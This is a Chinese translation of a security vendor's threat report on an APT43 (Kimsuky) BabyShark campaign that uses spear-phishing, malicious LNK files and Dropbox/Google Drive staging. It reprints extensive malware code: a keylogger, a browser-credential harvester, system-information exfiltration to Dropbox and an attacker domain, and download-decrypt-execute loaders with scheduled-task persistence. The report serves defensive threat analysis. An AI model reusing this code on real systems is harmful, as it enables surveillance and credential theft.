翻译:https://www.genians.co.kr/blog/threat_intelligence/dropbox
太长不看
- 通过冒充政策会议、咨询会议、调查问卷、讲座指导等方式引诱他人
- 最初的方法从普通电子邮件开始,并使用反应式鱼叉式网络钓鱼策略
- 合法利用Dropbox的多级攻击链和TutorialRAT攻击
- 确认是 APT43 组织 BabyShark 威胁活动的延伸
1. 概述
-
Genius 安全中心 (GSC) 证实,APT43 组织专注于利用多阶段攻击链来逃避基于签名的防病毒检测技术。特别是,正在采取战术努力,利用合法广泛使用的 DropBox 云存储作为攻击基地,以逃避威胁监控的范围。
-
截至2024年第一季度,韩国APT攻击活动水平仍然较高,在鱼叉式网络钓鱼中,“快捷方式(LNK)”类型攻击持续存在,需要特别关注。
【图1】APT43组织基于DropBox的BabyShark攻击流程图
2. 攻击场景
首先,去年年底,发现了多起伪装成韩国统一政策会议、讲座、酬金支付表的HTML类型攻击。这是典型的基于鱼叉式网络钓鱼的 APT 攻击,其特点是伪装成实际政府机构使用的安全电子邮件的详细信息。
[图2]伪装成政府机构安全电子邮件的HTML执行屏幕(部分打码)
○ 当时,威胁行为者将压缩文件插入到 HTML 代码中,伪装成安全电子邮件。接下来,他们使用了一种策略,在压缩文件中传递“快捷方式(LNK)”类型的恶意代码以及普通文档作为诱饵。在 APT 攻击活动期间,在用作命令控制的“meatalk[.]com”和“kyungdaek[.]com”域中观察到名为“r_enc.bin”的“TutorialRAT (TutRAT)”分布(C2)服务器。
○ 在上述案例之后,根据攻击目标,一些策略发生了变化。当针对比特币等虚拟资产或在朝鲜和安全领域工作的人员时,攻击会通过有效的方式诱导下载恶意压缩文件。云存储中的URL链接地址。
○ 这种初始渗透场景使用常见的鱼叉式网络钓鱼技术,但恶意命令的操作过程和威胁基础设施可以不断改变以逃避检测。根据 GSC 调查,直到 2024 年第一季度,不断发现类似的攻击模式,并识别出与 APT43 组织“BabyShark”案例相同的“Mutex”值。
○ 作为参考,APT43[Mandiant] 也以 Emerald Sleet[Microsoft]、Kimsuky[Kaspersky] 和 Velvet Chollima[CrowdStrike] 等名称使用。 <字母顺序>
【图3】实际鱼叉式网络钓鱼攻击画面(部分打码)
○ 本次攻击场景伪装成韩国驻华大使馆发送的电子邮件。事实上,这些信息是由韩国安全领域的特定专家收到的,攻击首先是欺骗攻击者认为这是参加驻中国大使馆闭门政策会议的请求。
○ 攻击开始时,会介绍参加政策会议和会议的信息,并以自己的方式增加可靠性。经过多次邮件往来后,我们交付了会议计划文件。此时,解释说由于中国互联网监控系统(GFW)的原因,该电子邮件无法发送,因此以 Google Drive 链接的形式发送。作为参考,“GFW”被称为中国防火长城。
○ “202404驻华使馆政策会议.rar”文件通过Google Drive链接传送,压缩文件中包含恶意文件。特别是,该威胁行为者将此次会议介绍为在中国北京举行,并在协调出发时间表时使用了在韩国不熟悉的“incha”一词。
[图4]包含朝鲜文字符号的截图
○ 如果在统一部朝鲜信息门户网站上搜索“incha”,搜索结果将显示为朝鲜语,意思是“内部”。
[图5]统一部朝鲜信息门户网站的搜索结果
○ 威胁行为者伪装身份并多次与收件人交换电子邮件,在他不知情的情况下意外暴露了他平时的语言习惯。当然,仅凭零碎证据无法识别威胁背后的人,但这无疑是 OPSEC 失败线索中的重要线索之一。
○ 在分析此类网络威胁时,识别与攻击者相关的各种指标(语言、地区、文化特征)是恶意软件相关性分析的重要元素。
○ 此外,它不仅用于分析各种恶意代码,还用于密切观察网络操作过程中无意留下的数字痕迹和基础设施,基于威胁情报(CTI)证明主谋以及研究与TTP相关的EDR解决方案检测技术。最近发现了多种形式的类似攻击,在下面的案例中,它们是通过微软的OneDrive链接进行的。类似的攻击正在通过合法的云链接继续进行。
[图6]通过OneDrive链接进行攻击的案例(有些打码)
○ 如果您了解许多最新的网络攻击场景,您不仅可以提高对同时发生的威胁的防御能力,还可以提高对未来可能发生的类似威胁的准备水平。
3. 恶意软件分析
○ 实际APT攻击中使用的恶意文件以多种形式产生并在国内传播。在这份公开报告中,我们将选择代表性案例并进行分析。在调查此案的过程中,GSC得到了韩国和美国多位网络安全专家的配合和协助。
○ 近期国内案件中查明的两份文件均为RAR压缩形式,包括△202404驻华使馆政策会议.rar和△国会立法研究服务政策会议.rar。而且由于都是设置了密码的压缩文件,攻击开始时Anti-Virus签名检测率接近0%。
[图7] 攻击中使用的压缩文件截图
○ RAR 压缩包含正常的 Hancom 文档 (.hwp) 文件和伪装成双扩展名的快捷方式 (.hwp.lnk) 类型的恶意文件。总的来说,它接近于一种欺骗策略,既包括正常文档,也包括恶意文件。
○ 两个案例都是实际发生的攻击,几乎同时发生,因此整体流程没有显着差异。
○ 因此,我想根据文件“202404_驻华大使馆面对面会议、韩中、朝中和安全问题1.5轨道私人政策会议计划(草案)”进行说明。 lnk'。
【图8】解压后文件外观
○ 与之前报道的许多基于 LNK 快捷方式的攻击一样,此案例还包含正常的 HWP 文档,以减少用户的怀疑。因此,如果文件夹选项默认条件是隐藏扩展名,则可以通过图标箭头在一定程度上区分。此外,文件名可以更长或包含多个空格,以便在屏幕上省略扩展名。
○ 因此,如果图标左下角有箭头符号,则直观地表明它是LNK文件,如果满足包含在压缩文件中的条件,则可以将风险级别指定为高。
○ 可以通过‘202404_韩国驻华大使馆、韩中、朝中及安全问题1.5追踪闭门政策会议面对面会议计划(计划)的属性信息来确认里面插入的cmd.exe命令。实际攻击中使用的“hwp.lnk”文件。然而,整个命令必须通过单独的分析来识别。
○ 内部插入的命令通过 PowerShell 调用进行处理,首先检查 LNK 文件“0x0010F27C”的总大小(1,110,652 字节)。然后,从普通 HWP 文档开始的偏移量“1,057,248”到其结束的偏移量“1,110,496”进行检查,替换该文件并运行它。
○ 接下来,PowerShell命令通过硬编码的DropBox clientID、clientSecret和refreshToken值获取Access Token密钥并进行API通信。访问存储库所有者的“step5/ps.bin”路径,请求文件,并通过组合 AESDecrypt 函数例程和“pa55w0rd”密码来执行解密。作为参考,威胁参与者配置了从“step1”到“step8”的多个存储路径。
[图9]LNK文件内的PowerShell命令
○ 此外,执行LNK文件后显示的正常HWP文档带有“私人”符号,标题为“韩中朝中安全问题私人政策会议计划(草案)”。
○ 正文包含活动的目的和详细计划,并指出活动将于 4 月 19 日星期五上午 9 点 30 分至下午 4 点 20 分由韩国驻华大使馆主办,提供韩中同声传译。 。并且在文档信息摘要部分,“SoftPower”账号被记录为作者。
[图10]正常HWP文档文件截图
○ 这里值得注意的是,第一步调用的“ps.bin”文件的注释代码中有“clientx64.bin”的记录。检查此文件时,在位于泰国 [TH] 的 IP“122.155.191[.]33”地址中发现了使用“XenoRAT”恶意文件的历史记录。
Add-Type -AssemblyName System.Windows.Forms
Add-type -AssemblyName System.Drawing
$name2 = "makeProbe1";
#$path = ".\clientx64.bin";
#$bytes = [System.IO.File]::ReadAllBytes($path);
# Access Token 요청
#访问令牌请求
#Access Token 가져오는 부분
#获取Access Token的部分
[表 1] 一些“ps.bin”PowerShell 命令
○ 同时,2月21日,GSC通过《新年观点报专栏伪装黑客分析》https://www.genians.co.kr/blog/threat_intelligence/nation-state 报道介绍了“XenoRAT”攻击案例,并将其列为与该攻击案例同一主谋所为。
○ 更有趣的是,在泰国的C2服务器上同时发现了之前攻击场景中描述的名为“r_enc.bin”的“TutRAT”文件,而“user.bin”文件是“XenoRAT” ,与“clientx64.bin”文件相同,它被作为一个文件进行分析。并且全部以Gz压缩格式存在,但C2内容过去可以通过 "criminalIP"(一个威胁情报平台)搜索结果查看。https://www.criminalip.io/ko/domain/report?scan_id=10720905
[图11]泰国服务器上发现的RAT对比
○ 接下来,通过声明为 PowerShell 命令的 AESDecrypt 函数进行解密并执行。并且通过DropBox Token值读取存在于同一存储路径中的'r_enc.bin'文件。作为参考,攻击命令中有很多韩文注释。
# Access Token 요청
# 请求Access Token
$tokenEndpoint = "https://api.dropboxapi.com/oauth2/token"
$response = Invoke-RestMethod -Uri $tokenEndpoint -Method Post -Body $body
$accessToken = ""
# 요청 결과 확인
#确认请求结果
if ($response.access_token) {
$accessToken = $response.access_token
Write-Host "새로운 Access Token: $newAccessToken"
Write-Host "新的Access Token:$newAccessToken"
} else {
Write-Host "Access Token을 가져오는 데 실패했습니다."
Write-Host "无法获取Access Token"
Write-Host "에러: $($response.error_summary)"
}
$downloadUrl = "https://content.dropboxapi.com/2/files/download"
#$accessToken = "sl.Bqs[일부 생략]Ak"
#$accessToken=“sl.Bqs[省略部分]Ak”
$remoteFilePath = "/step5/r_enc.bin"
$request = [System.Net.HttpWebRequest]::Create($downloadUrl)
$request.Method = "POST"
$request.Headers.Add("Authorization", "Bearer $accessToken")
$request.Headers.Add("Dropbox-API-Arg", '{"path": "' + $remoteFilePath + '"}')
$response = $request.GetResponse()
$receiveStream = $response.GetResponseStream()
[表2] ‘r_enc.bin’调用‘ps.bin’命令的一部分
○ 调用的“r_enc.bin”文件通过GzExtract函数解压缩,其中包含TutorialRAT恶意文件。
Function Load
{
function GzExtract {
[CmdletBinding()]
Param (
[Parameter(Position = 0, Mandatory = $True)]
[byte[]] $byteArray = $(Throw("-byteArray is required"))
)
Process {
$input = New-Object System.IO.MemoryStream(, $byteArray )
$output = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress)
$gzipStream.CopyTo( $output )
$gzipStream.Close()
$input.Close()
[byte[]] $byteOutArray = $output.ToArray()
return $byteOutArray
}
}
[表3] GzExtract函数部分
○ 以BASE64编码值作为参数,解压后运行“r_enc.bin”文件。
if ($receiveStream -ne $null) {
$streamReader = New-Object System.IO.StreamReader($receiveStream)
$memoryStream = New-Object System.IO.MemoryStream
$buffer = New-Object byte[] 1024
$read = 0
do {
$read = $receiveStream.Read($buffer, 0, $buffer.Length)
$memoryStream.Write($buffer, 0, $read)
} while ($read -gt 0)
$enc_bytes = $memoryStream.ToArray()
$length = $enc_bytes.Length
[byte[]]$exBytes = GzExtract ($enc_bytes)
$length = $exBytes.Length
$assembly = [System.Reflection.Assembly]::Load($exBytes)
foreach ($type in $assembly.GetTypes())
{
foreach ($method in $type.GetMethods())
{
if (($method.Name.ToLower()).equals($name2.ToLower()))
{
$instance = [System.Activator]::CreateInstance($type)
$method.Invoke($instance, "[BASE64 일부 생략]")
$method.Invoke($instance,"[BASE64部分省略]")
#[namespace.Class]::Main($parametre)
#$instance::Main()
}
}
}
[表4] BASE64命令声明部分
○ 通过调用声明 '$name2 = "makeProbe1"' 创建 BASE64 解码值,并将其作为 [Templates] 路径中的 'version103.vbs' 文件执行。此命令与“r_enc.bin”文件结合使用。
[图12]名为“r_enc.bin”的“TutRAT”内部命令
○ “version103.vbs”脚本声明一个 DropBox API 令牌,并通过调用“step5”子路径中的“info_sc.txt”文件来执行它。
'download module
Const HTTP_METHOD = "POST"
Const DROPBOX_API_ENDPOINT = "https://content.dropboxapi.com/2/files/download"
'Const ACCESS_TOKEN = "[생략]"
'Const ACCESS_TOKEN="[省略]"
Const REMOTE_FILE_PATH = "/step5/info_sc.txt"
objHTTP.Open HTTP_METHOD, DROPBOX_API_ENDPOINT, False
objHTTP.SetRequestHeader "Authorization", "Bearer " & ACCESS_TOKEN
objHTTP.SetRequestHeader "Content-Type", "application/octet-stream"
objHTTP.SetRequestHeader "Dropbox-API-Arg", "{""path"": """ & REMOTE_FILE_PATH & """}"
objHTTP.Send
[表5]‘version103.vbs’内部命令部分
○ “info_sc.txt”文件使用原始 DropBox 令牌从“regard.co[.]kr”域下载正常的诱饵文档“5.hwp”文件,并将其保存在临时文件夹路径中。此时使用的文件名是‘世宗研究院_30th_世宗国家战略培训班_讲座请求_***Director.hwp’(部分*处理)。然而,在这个攻击代码中,它被注释掉了,不起作用并被跳过。
○ 其中,观察了“BabyShark 活动”中使用的所谓“RandomQuery”类型的脚本命令历史记录,并且任务调度程序注册部分也被注释掉。当然,也有攻击确实有效的情况。
strHost = "gbionet[.]com"
strAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
pwd = "pa55w0rd"
If ver < 10 Then
vTxt = "On Error Resume Next:With CreateObject(""InternetExplorer.Application""):.Navigate ""http://" & strHost & "/inc/basl/up1/list.php?query=6"":Do while .busy:WScript.Sleep 100:Loop:bt=.Document.Body.InnerText:.Quit:End With:Execute(bt)"
Reserve vPath, vTxt
Reg vPath
[表6]‘info_sc.txt’内部命令部分(域字符串变化)
○ 在代码的底部区域,通过PowerShell命令调用'info_ps.bin'文件。
○ “info_ps.bin”文件执行系统信息窃取功能,从计算机终端收集关键信息。收集的信息使用 AESEncrypt 例程进行加密,密码使用相同的“pa55w0rd”值。
$sysInfo = SystemInfo; $sysInfo = ArrayToString($sysInfo);
$upData = "++++++++++++++++ System ++++++++++++++++`r`n" + $sysInfo + "`r`n`r`n";
$taskList_v = tasklist; $taskList_v = ArrayToString($taskList_v);
$upData += "+++++++++++++ Task Detail +++++++++++++`r`n" + $taskList_v + "`r`n`r`n";
$taskList_svc = tasklist /svc; $taskList_svc = ArrayToString($taskList_svc);
$upData += "++++++++++++ Task Service +++++++++++++`r`n" + $taskList_svc + "`r`n`r`n";
$firewall_st = Netsh Advfirewall show allprofiles; $firewall_st = ArrayToString($firewall_st);
$upData += "++++++++++ Firewall Status ++++++++++++`r`n" + $firewall_st + "`r`n`r`n";
$av_soft = "";
$status = Get-WmiObject -NameSpace "ROOT\SecurityCenter" -class "AntiVirusProduct";
if( $status -ne $null ) {
$av_soft = $status.GetText([System.Management.TextFormat]::Mof);
}
$upData += "+++++++++++++ AntiVirus +++++++++++++++`r`n" + $av_soft + "`r`n";
$av_soft2 = "";
$status = Get-WmiObject -NameSpace "ROOT\SecurityCenter2" -class "AntiVirusProduct";
if( $status -ne $null ) {
$av_soft2 = $status.GetText([System.Management.TextFormat]::Mof);
}
$upData += $av_soft2 + "`r`n`r`n";
$user_dir = $env:userprofile;
$appdata = $env:APPDATA;
$path_list = @("$user_dir\Desktop", "$user_dir\Documents", "$user_dir\Downloads", "$appdata\Microsoft\Windows\Recent", "$appdata\Microsoft\Windows\Start Menu\Programs", $env:ProgramFiles, ${env:ProgramFiles(x86)});
foreach( $path in $path_list ) {
$upData += "++++++++++++++++ $Path ++++++++++++++++`r`n`r`n";
$upData += ListDir -Path $path;
}
$upData += ListDrives;
[Byte[]]$bytes2enc = [System.Text.Encoding]::UTF8.GetBytes($upData);
[Byte[]]$enc_bytes = AESEncrypt -bytes $bytes2enc -pass $pass;
$uri += "/inc/basl/up1/show.php";
PostBinary -uri $uri -bytes $enc_bytes -name "enc_info";
}
[表7]‘info_ps.bin’信息窃取功能命令
○ 加密的个人信息按个人分类,将终端IP地址添加到DropBox存储'log5'路径中,并以'enc_info+[Get-Date -Format]'的形式存储在下面。数据泄露是通过 DropBox 令牌执行的。
# Access Token 요청
#请求Access Token
$tokenEndpoint = "https://api.dropboxapi.com/oauth2/token"
$response = Invoke-RestMethod -Uri $tokenEndpoint -Method Post -Body $body
$accessToken = ""
# 요청 결과 확인
# 确认请求结果
if ($response.access_token) {
$accessToken = $response.access_token
Write-Host "새로운 Access Token: $newAccessToken"
Write-Host "新的Access Token:$newAccessToken"
} else {
Write-Host "Access Token을 가져오는 데 실패했습니다."
Write-Host "无法获取Access Token"
Write-Host "에러: $($response.error_summary)"
Write-Host "错误:$($response.error_summary)"
}
$ipAddress = (Get-NetIPAddress | Where-Object { $_.AddressFamily -eq 'IPv4' -and $_.InterfaceAlias -ne 'Loopback' }).IPAddress
$time_sata = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$name = $name + $time_sata
# HTTP 요청 헤더 구성
#配置HTTP请求头
$headers = @{
"Authorization" = "Bearer $accessToken"
"Content-Type" = "application/octet-stream"
"Dropbox-API-Arg" = "{`"path`": `"/log5/$ipAddress[1]/$name`",`"mode`": `"add`"}"
}
# 파일 업로드 요청 보내기
#发送文件上传请求
$response = Invoke-RestMethod -Method Post -Uri $uploadUrl -Headers $headers -Body $updata
}
[表8]‘info_ps.bin’数据泄露命令
○ 上述“info_sc.txt”文件在发现时注释掉了许多命令。但在实际的攻击案例中,也存在整个代码被激活的情况。
○ 当威胁参与者激活代码时,它会通过任务计划程序中注册的 PowerShell 命令调用“m_ps.bin”文件来解密并执行该代码。
"End IF" & vbnewline & _
"pow_cmd = ""powershell -ep bypass -file path """"m_ps.bin""""""" & vbnewline & _
"pow_cmd = Replace(pow_cmd, ""path"", psPath)" & vbnewline & _
"wh = ""winmgmts:""" & vbnewline & _
"wt = ""win32_process""" & vbnewline & _
"set wm = GetObject(wh & wt)" & vbnewline & _
"set ows = GetObject(wh & ""\root\cimv2"")" & vbnewline & _
"set ost = ows.Get(wt & ""startup"")" & vbnewline & _
"set oconf = ost.SpawnInstance_" & vbnewline & _
"oconf.ShowWindow = 12" & vbnewline & _
"errReturn = wm.Create(pow_cmd, Null, oconf, pid)" & vbnewline
[表9]‘info_sc.txt’内容的注释部分
○ 实际的“m_ps.bin”文件存在于执行此命令的 DropBox 存储中,可以看出,它用于根据威胁行为者的意图进行可变攻击。 “m_ps.bin”文件还具有“AESEncrypt”和“AESDecrypt”函数,并声明了 DropBox 访问令牌值。
○ 为了防止重复执行,请创建一个值为“Main#202401094939ss0913”的互斥锁。根据攻击的不同,该字符串的形式略有不同。此外,为了保持威胁的持久性,DropBox 通信是通过“GetTimeInterval”函数以 10,000 秒(约 2 小时 46 分钟)之间的随机间隔设置时间来维持的。
Function GetTimeInterval {
param(
[int]$oldVal
)
$randVal = Get-Random -Maximum 10000;
$val = ($randVal % 8) * 10;
if($val -lt 45) { $val += 45; }
$sub = $val - $oldVal;
if(($sub -lt 0) -and ($sub -gt -20)) { $val = $oldVal - 15; }
if(($sub -ge 0) -and ($sub -lt 20)) { $val = $oldVal + 15; }
return $val;
}
$bMute = $true;
$muteTxt = "Main#202401094939ss0913";
try{
$curMute = [System.Threading.Mutex]::OpenExisting($muteTxt);
$bMute = $false;
}catch{
$newMute = New-Object System.Threading.Mutex($true,$muteTxt);
}
[表10]‘m_ps.bin’内容的互斥体创建部分
○ “m_ps.bin”文件经历了调用 DropBox 存储中的“ad_ps.bin”文件、解密然后执行的过程。根据目前已确认的情况,该文件中选择性地使用了多个具有不同功能的命令。
# Access Token 요청
#请求Access Token
$tokenEndpoint = "https://api.dropboxapi.com/oauth2/token"
$response = Invoke-RestMethod -Uri $tokenEndpoint -Method Post -Body $body
$accessToken = ""
# 요청 결과 확인
# 确认请求结果
if ($response.access_token) {
$accessToken = $response.access_token
Write-Host "새로운 Access Token: $newAccessToken"
Write-Host "无法获取Access Token"
} else {
Write-Host "Access Token을 가져오는 데 실패했습니다."
Write-Host "无法获取Access Token"
Write-Host "에러: $($response.error_summary)"
}
$remoteFilePath = "/step5/ad_ps.bin"
$request = [System.Net.HttpWebRequest]::Create($downloadUrl)
$request.Method = "POST"
$request.Headers.Add("Authorization", "Bearer $accessToken")
$request.Headers.Add("Dropbox-API-Arg", '{"path": "' + $remoteFilePath + '"}')
$response = $request.GetResponse()
$receiveStream = $response.GetResponseStream()
$pass = "pa55w0rd"
[表11]在‘m_ps.bin’代码中调用‘ad_ps.bin’文件的部分内容
○ 通常最后使用的“ad_ps.bin”文件根据攻击的目的进行不同的选择。其中包括△键盘记录器△屏幕截图捕获△Web浏览器凭据窃取程序△通过虚拟网络计算进行远程控制。
○ 首先,键盘记录器的 PowerShell 命令将用户的键盘输入和剪贴板存储保存为“%appdata%\Microsoft\Windows\Themes”路径中的“version.xml”文本文件。为了防止重复执行,请将互斥字符串设置为值“Global\AlreadyRunning191122”。
$scblock = {
$Path = "$env:appdata\Microsoft\Windows\Themes\version.xml"
$al = @('[DllImport("user32.dll",CharSet=CharSet.Auto)]', 'public static extern', 'System.Text.StringBuilder');
$f = @("GetAsyncKeyState", "GetKeyboardState", "MapVirtualKey", "GetForegroundWindow", "GetWindowText", "ToUnicode", "GetClipboardSequenceNumber", "IsClipboardFormatAvailable", "GetTickCount");
$pref = $al[0] + $al[1];
$clk = 'using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Security.Principal;public class CLK{[DllImport("user32.dll",CharSet=CharSet.Auto,ExactSpelling=true)]'+$al[1]+' short '+$f[0]+'(int virtualKeyCode);'+$pref+' int '+$f[1]+'(byte[] keystate);'+$pref+' int '+$f[2]+'(uint uCode,int uMapType);'+$pref+' int '+$f[3]+'();'+$pref+' int '+$f[4]+'(int hwnd,'+$al[2]+' lpText,int cchLength);'+$pref+' int '+$f[5]+'(uint wVirtKey,uint wScanCode,byte[] lpkeystate,'+$al[2]+' pwszBuff,int cchBuff,uint wFlags);[DllImport("user32.dll")]'+$al[1]+' int '+$f[6]+'();[DllImport("user32.dll")]'+$al[1]+' bool '+$f[7]+'(uint uFormat);[DllImport("kernel32.dll")]'+$al[1]+' UInt32 '+$f[8]+'();}';
Add-Type -TypeDefinition $clk;
Add-Type -Assembly PresentationCore;
$bMute = $true;
$strMute = "Global\AlreadyRunning191122";
try{
$curMute = [System.Threading.Mutex]::OpenExisting($strMute);
$bMute = $false;
}catch{
$newMute = New-Object System.Threading.Mutex($true,$strMute);
}
$CL = [CLK];
$o_enc_mode = [System.Text.Encoding]::UTF8;
$a_kb = New-Object Byte[] 256;
$strBuilder = New-Object -TypeName System.Text.StringBuilder;
$curWnd = New-Object System.Text.StringBuilder(260);
$a_asc = @(0x2d, 0x20, 0x2E, 0x25, 0x26, 0x27, 0x28, 0x08, 0x24, 0x23, 0x11, 0x09, 0x1b, 0x01, 0x02);
$a_str = @("▼`n", " ", "[Del]", "[<-]", "[^]", "[->]", "[v]", "[Bk]", "[Home]", "[End]", "[Ctrl]", "[Tab]", "[Esc]", "[LM]", "[RM]");
$oldWnd = ""; $oldTick = 0; $oldClip = 0;
while($bMute){
Start-Sleep -Milliseconds 1;
$hTopWnd = $CL::($f[3])();
$len = $CL::($f[4])($hTopWnd, $curWnd, $curWnd.Capacity);
if($curWnd.ToString() -ne $oldWnd){
$oldWnd = $curWnd.ToString();
$t = Get-Date -Format "yyyy/MM/dd`tHH:mm:ss";
[System.IO.File]::AppendAllText($Path, "`n++++++++ [" + $t + "] [" + $curWnd.ToString() + "] ++++++++`n", $o_enc_mode);
}
$curTick = $CL::($f[8])();
if(($oldTick -eq 0) -or (($curTick - $oldTick) -gt 1000)){
$oldTick = $curTick;
$curClip = $CL::($f[6])();
if($oldClip -ne $curClip){
$oldClip = $curClip;
if($CL::($f[7])(1)){
$clip = "`n++++++++ [Clipboard] ++++++++`n" + [Windows.Clipboard]::GetText() + "`n++++++++++++++++++++++++++++++`n";
[System.IO.File]::AppendAllText($Path, $clip, $o_enc_mode);
}
}
}
[表12]‘ad_ps.bin’案例和键盘记录器功能的互斥部分
○ 此处使用的字符串“Global\AlreadyRunning191122”也在“ BabyShark APT 活动” https://www.genians.co.kr/blog/threat_intelligence/kimsuky 中得到一致识别
○ 第二种类型是捕获受害者的屏幕并将其保存为 PNG 文件,并尝试将其泄漏到 DropBox 的“screenlog”路径。尽管在实际攻击中尚未检测到它,但已观察到它存储在 DropBox 存储中。
Function CapDesk {
Param (
[string] $SaveTo,
[int] $interval
)
$Script:webReqUpload = $null;
$Script:boundary = "";
$Script:saveURL = $SaveTo;
$signatures = @'
[DllImport("gdi32.dll")]
public static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
'@
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
Add-type -Assembly System.Drawing
Add-Type -Assembly System.Windows.Forms
Add-Type -AssemblyName System.Windows.Forms
Add-type -AssemblyName System.Drawing
[表13]‘ad_ps.bin’截屏函数案例
○ 第三种情况是收集并窃取网络浏览器的凭据信息。检查 Google Chrome、MS Edge 和 Naver Whale 浏览器中保存的“用户数据”路径。然后它收集“Cookies”、“History”和“LoginData”值并尝试将它们泄漏到 DropBox 路径。
○ Windows 版 Chrome 使用 DPAPI(数据保护 API)CryptProtectData 来加密和存储“Cookies”、“历史记录”和“LoginData”的内容。
○ 要解密它,请使用存储加密密钥的“本地状态”文件中的“加密_密钥”值获取“master_key”值。然后,使用Gzcompress函数对信息进行压缩,转换为ToBase64String,并通过ConvertTo-Json保存,然后上传到攻击者的DropBox存储中。
function GetBrowserInfo {
Add-Type -AssemblyName System.Security;
$appPath = $env:LOCALAPPDATA;
$browserTypes = @("Chrome", "Edge", "Whale");
$dataPaths = @("\Google\Chrome\User Data", "\Microsoft\Edge\User Data", "\Naver\Naver Whale\User Data");
$emptyJSON = "{}";
$stateRetJson = $emptyJSON | ConvertFrom-JSON;
for ( $i = 0 ; $i -lt $browserTypes.Length ; $i ++ ) {
if( [System.IO.Directory]::Exists($appPath + $dataPaths[$i]) ) {
if($browserTypes[$i] -eq "Chrome" ){
Stop-Process -Name "chrome";
} elseif($browserTypes[$i] -eq "Edge" ){
Stop-Process -Name "msedge";
}
elseif($browserTypes[$i] -eq "Whale"){
Stop-Process -Name "whale";
}
$tmpPath = "$env:TEMP\" + [System.IO.Path]::GetRandomFileName();
[System.IO.File]::Copy($appPath + $dataPaths[$i] + "\Local State", $tmpPath);
$localStateTxt = [System.IO.File]::ReadAllText($tmpPath);
[表14]浏览器凭证收集函数的‘ad_ps.bin’案例
○ 第四个也是最后一个案例是通过威胁行为者指定的 Google Drive 安装“UltraVNC”远程控制模块的案例。
Function AESDecrypt {
param(
[Byte[]] $bytes,
[String] $pass
)
$InputStream = New - Object System.IO.MemoryStream(, $bytes);
$OutputStream = New - Object System.IO.MemoryStream;
$Salt = New - Object Byte[](32);
$BytesRead = $InputStream.Read($Salt, 0, $Salt.Length);
if ($BytesRead - ne $Salt.Length) {
exit;
}
$PBKDF2 = New - Object System.Security.Cryptography.Rfc2898DeriveBytes($pass, $Salt);
$AESKey = $PBKDF2.GetBytes(32);
$AESIV = $PBKDF2.GetBytes(16);
$AES = New - Object Security.Cryptography.AesManaged;
$Dec = $AES.CreateDecryptor($AESKey, $AESIV);
$CryptoStream = New - Object System.Security.Cryptography.CryptoStream($InputStream, $Dec, [System.Security.Cryptography.CryptoStreamMode]::Read);
$CryptoStream.CopyTo($OutputStream);
$OutputStream.Dispose();
return $OutputStream.ToArray();
}
$pass = "pa55w0rd";
[byte[]] $enc_bytes = (wget - UseBasicParsing "https: //docs.google.com/uc?export=download&id=1o[일부 생략]Qz").content;
$dec_bytes = AESDecrypt -bytes $enc_bytes -pass $pass;
$newString = [System.Text.Encoding]::UTF8.GetString($dec_bytes);
iex $newString;
[表15] ‘UltraVNC’安装函数的‘ad_ps.bin’案例
○ 从 Google Drive 地址下载“aaa.bin”文件,使用 AESDecrypt 函数解密并运行。然后,从另一个 Google Drive 地址下载并运行包含“UltraVNC”文件的压缩文件。
Param (
[String] $srcURL
)
try {
$outPath = "$env:TEMP\" + [System.IO.Path]::GetRandomFileName();
$exPath = $outPath.Substring(0, $outPath.LastIndexOf('.'))
$outPath = $exPath + ".zip";
$exPath = "$env:appdata";
$calc_data_exe = $exPath + "\calc.zip";
$calc_data_exe1 = $exPath + "\winvnc.exe";
$calc_data_ini = $exPath + "\ultravnc.ini";
$calc_run_s = $exPath + "\ultrarunv";
$check_exist = (Test-Path $calc_data_exe);
if( -not $check_exist ) {
Invoke-WebRequest -Uri $srcURL -OutFile $outPath;
[表16] ‘UltraVNC’安装函数的‘aaa.bin’命令部分
○ 特别是,上述命令底部包含以下韩语注释处理,并且观察到字符“Hile”,它是英语单词“File”的朝鲜韩文表达之一。
$arg2 = " //b //e:vbscript " + $calc_run_s
Start-Process -FilePath "wscript.exe" -ArgumentList $arg2
#ultra schedule 등록 vbs를 down받아 화일로 떨구고 vbs를 실행시키는 shedule 등록 -Argument
#ultra schedule 注册shedule注册,下载vbs并将其下载到华日运行vbs-Argument
$action = New-ScheduledTaskAction -Execute "wscript.exe" -Argument "//b //e:vbscript " + $calc_run_s # 실행할 스크립트의 경로 # 要运行的脚本的路径
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Hours 1) -RepetitionDuration ([System.TimeSpan]::MaxValue)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "HourlyTask" -Description "Runs every hour"
}
} catch {
}
}
ExtractSQLite -srcURL "https://docs.google.com/uc?export=download&id=1p[일부 생략]vY"
# "https://docs.google.com/uc?export=download&id=1p[省略部分]vY“
}
aaa;
[表 17] ‘aaa.bin’ 命令中包含的 ‘File’ 字符串
○ 如上所述,威胁行为者提前在 Dropbox 和 Google Drive 中精心准备了各种 PowerShell 命令和远程控制模块。
○ 此外,它还表现出定制和使用在互联网上发布的基于开源的RAT程序的特点。
4. 关于TutorialRAT
○ “TutorialRAT”是一个基于 C# 的远程控制程序,其源代码已在 GitHub 上以“C-Sharp-RAT”的名称发布。
○ 通过教程视频介绍了开发过程。因此,恶意文件被表示为“TutRAT”或“TutClient”。
【图13】GitHub部分截图及视频
○ 在 APT43 活动中使用的“TutRAT”变种中,有一个沿着韩国路径构建的历史,如下所示。它主要以2023年初开发的形式存在,并且已报道了各种变体。
[图 14] ‘TutClient’ 内的 PDB 路径屏幕
○ “TutRAT”文件的PDB构建路径如下,“work”文件夹下存在“病毒相关”、“数据研究”等表述。
D:\work\Virus\자료조사\rat_source\C-Sharp-R.A.T-Client-master\C-Sharp-R.A.T-Client-master\TutClient\obj\Debug\TutClient.pdb
D:\work\Virus\1_troy\c#\pack_2023\2023-06\work\obj\Debug\ConsoleApplication1.pdb
E:\horse\work\virus\source\rat\c#\trurat\0206_backup\C-Sharp-R.A.T-Client-master\C-Sharp-R.A.T-Client-master\TutClient\obj\Debug\TutClient.pdb
[表18]包含“病毒相关”表达式的PDB路径
